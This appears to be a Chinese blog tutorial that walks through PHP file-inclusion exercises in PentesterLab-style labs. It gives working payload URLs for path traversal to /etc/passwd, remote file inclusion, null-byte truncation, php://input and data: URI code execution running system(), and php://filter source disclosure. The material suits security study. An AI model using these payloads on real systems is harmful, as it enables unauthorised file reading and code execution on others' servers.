Example 1

输入单引号,报错,得到物理路径

可通过../../../../etc/paaswd 读取敏感信息

可包含本地文件或远程文件

https://assets.pentesterlab.com/test_include.txt

Example 2

加单引号,报错,可发现获取到的参数后面会加上.php后缀

通过%00截断后面字符

http://192.168.106.154/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt%00

文件包含截断技巧:

1、%00截截断

2、文件路径长度截断

3、截断远程包含 问号截断法 url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单

http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=

或者直接 http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?

1、将文件包含漏洞变成代码执行漏洞

php://input    <?php phpinfo();?>

2、通过data URI schema

http://192.168.106.154/fileincl/example1.php?page=data:text/plain,<?php system('cat /etc/passwd')?>

http://192.168.106.154/fileincl/example1.php?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

3、通过php://filter读取源码

http://192.168.106.154/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=intro.php

base64解码

最后

欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。 

参考文章:

文件包含漏洞小结 http://www.cnblogs.com/iamstudy/articles/include_file.html

php://input,php://filter,data URI schema的那些事  http://www.cnblogs.com/qing123/p/4513870.html

截断在文件包含和上传中的利用   http://www.joychou.org/index.php/web/truncated.html

PHP文件包含漏洞总结  https://www.secpulse.com/archives/3206.html

盘点那些渗透测试中的奇淫技巧  https://bbs.ichunqiu.com/thread-14031-1-1.html

最新文章

  1. EF6 连接Oracle 迁移数据错误解决方法
  2. youtube视频批量下载
  3. css中zoom和transform:scale的区别
  4. Sublime怎样新建HTML文档
  5. closest()一个在评论里很有用的函数
  6. Unity 网络斗地主 牌的一些算法
  7. 自动测试工具SilkTest全面介绍
  8. Docker私有仓库--自签名方式
  9. 事件日志:无法加载站点/服务的所有 ISAPI 筛选器。因此启动中止。
  10. zend Framework的MVC模式的搭建
  11. ●BZOJ 4278 [ONTAK2015]Tasowanie
  12. CF997C Sky Full of Stars
  13. Capsules for Object Segmentation(理解)
  14. JavaScript数组方法--reduce、reduceRIght、reverse
  15. 微信小程序使用wxParse解析html
  16. Android SurfaceView及TextureView对比
  17. cryptopunks的代码解释
  18. PHP常用工具类积累
  19. codeforces 768E Game of Stones
  20. ROS进阶学习笔记(10)- 搭建自己的Turtlebot(5) - Interactive Makers

热门文章

  1. C中数组与指针【转】
  2. HDOJ 1814 Peaceful Commission
  3. IPC介绍——10个ipcs例子
  4. java中静态方法的使用
  5. Maven_POM配置结构
  6. synchronize模块
  7. pick王菊?作为“菊外人”的程序员能做点什么?
  8. vlan pvid vid access口 trunk口
  9. EMS快递单号生成算法
  10. dvi 中的内容居中